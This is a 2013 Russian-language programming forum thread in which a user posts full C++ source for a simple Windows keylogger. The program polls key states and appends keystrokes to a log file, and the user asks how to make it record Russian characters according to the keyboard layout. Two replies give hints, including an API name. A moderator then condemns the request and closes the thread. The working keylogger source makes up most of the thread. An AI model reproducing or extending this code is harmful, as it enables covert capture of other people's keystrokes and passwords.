Сейчас на форуме: zds, UniSoft (+5 невидимых)

 eXeL@B —› Программирование —› Помощь по кейлогеру [c++]
Посл.ответ Сообщение

Ранг: 9.9 (гость), 1thx
Активность: 0.010
Статус: Участник

Создано: 22 января 2013 04:55 · Поправил: _or_75
· Личное сообщение · #1

Вообщем есть исходник кейлогера но он только пишет в файл английскими буквами, вопрос может кто поможет переделать его что бы проверял раскладку клавиатуры? если ru то записывает русскими а если en то английскими

Вот исходник:

Code:
  1. #include <Windows.h>
  2. #include <iostream>
  3. #include <conio.h>
  4. #include <stdio.h>
  5. #include <fstream>
  6.  
  7. using namespace std;
  8.  
  9. std::string GetKey(int Key)
  10. {
  11.          std::string KeyString = "";
  12.          if (Key == 8)
  13.                  KeyString = "[delete]";
  14.          else if (Key == 13)
  15.                  KeyString = "\n";
  16.          else if (Key == 32)
  17.                  KeyString = " ";
  18.          else if (Key == VK_PAUSE)
  19.                  KeyString = "[PAUSE]";
  20.          else if (Key == VK_CAPITAL)
  21.                  KeyString = "[CAPITAL]";
  22.          else if (Key == VK_SHIFT)
  23.                  KeyString = "[SHIFT]";
  24.          else if (Key == VK_TAB)
  25.                  KeyString = "[TABULATOR]";
  26.          else if (Key == VK_CONTROL)
  27.                  KeyString = "[CTRL]";
  28.          else if (Key == VK_ESCAPE)
  29.                  KeyString = "[ESCAPE]";
  30.          else if (Key == VK_END)
  31.                  KeyString = "[END]";
  32.          else if (Key == VK_HOME)
  33.                  KeyString = "[HOME]";
  34.          else if (Key == VK_LEFT)
  35.                  KeyString = "[left]";
  36.          else if (Key == VK_RIGHT)
  37.                  KeyString = "[right]";
  38.          else if (Key == VK_UP)
  39.                  KeyString = "[UP]";
  40.          else if (Key == VK_DOWN)
  41.                  KeyString = "[DOWN]";
  42.          else if (Key == VK_SNAPSHOT)
  43.                  KeyString = "[SNAPSHOT]";
  44.          else if (Key == VK_NUMLOCK)
  45.                  KeyString = "[NUMLOCK]";
  46.          else if (Key == 190 || Key == 110)
  47.                  KeyString = ".";
  48.          else if (Key >=96 && Key <= 105)
  49.                  KeyString = Key-48;
  50.          else if (Key > 47 && Key < 60)
  51.                  KeyString = Key;
  52.          if (Key != VK_LBUTTON || Key != VK_RBUTTON)
  53.          {
  54.                  if (Key > 64 && Key < 91)
  55.                  {
  56.                         if (GetKeyState(VK_CAPITAL))
  57.                               KeyString = Key;
  58.                         else
  59.                         {
  60.                               Key = Key + 32;
  61.                               KeyString = Key;
  62.                         }
  63.                  }
  64.          }
  65.          return KeyString;
  66. }
  67.  
  68. int main(int argc, char* argv[])
  69. {
  70.          std::string Filename = "C:\log.txt";
  71.          std::string TempString = "";
  72.          std::fstream FStream;
  73.          FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
  74.          while(true)
  75.          {
  76.                  Sleep(5);
  77.                  for(int i = 8; i < 191; i++)
  78.                  {
  79.                         if(GetAsyncKeyState(i)&1 ==1)
  80.                         {
  81.                               TempString = GetKey (i);
  82.                               FStream.write(TempString.c_str(), TempString.size());
  83.                               FStream.close();
  84.                               FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);
  85.                         }
  86.                  }
  87.          }
  88.     getchar();
  89.     return 0;
  90. }




Ранг: 617.3 (!), 677thx
Активность: 0.540
Статус: Участник

Создано: 22 января 2013 05:15
· Личное сообщение · #2

GetKeyboardLayoutName



Ранг: 85.4 (постоянный), 51thx
Активность: 0.090
Статус: Участник

Создано: 22 января 2013 09:12
· Личное сообщение · #3

ну так у тебя обработка только кейкодов из английских букв, добавь проверку русских и будет записывать русские буквы




Ранг: 2014.5 (!!!!), 1278thx
Активность: 1.340.25
Статус: Модератор
retired

Создано: 22 января 2013 09:43
· Личное сообщение · #4

Если на шеллкод глаза я закрыл, это не значит, что на кейлоггер закрою. Фу-фу-фу, займись делом лучше.

| Сообщение посчитали полезным: SReg, sooqua
 eXeL@B —› Программирование —› Помощь по кейлогеру [c++]
Эта тема закрыта. Ответы больше не принимаются.
   Для печати Для печати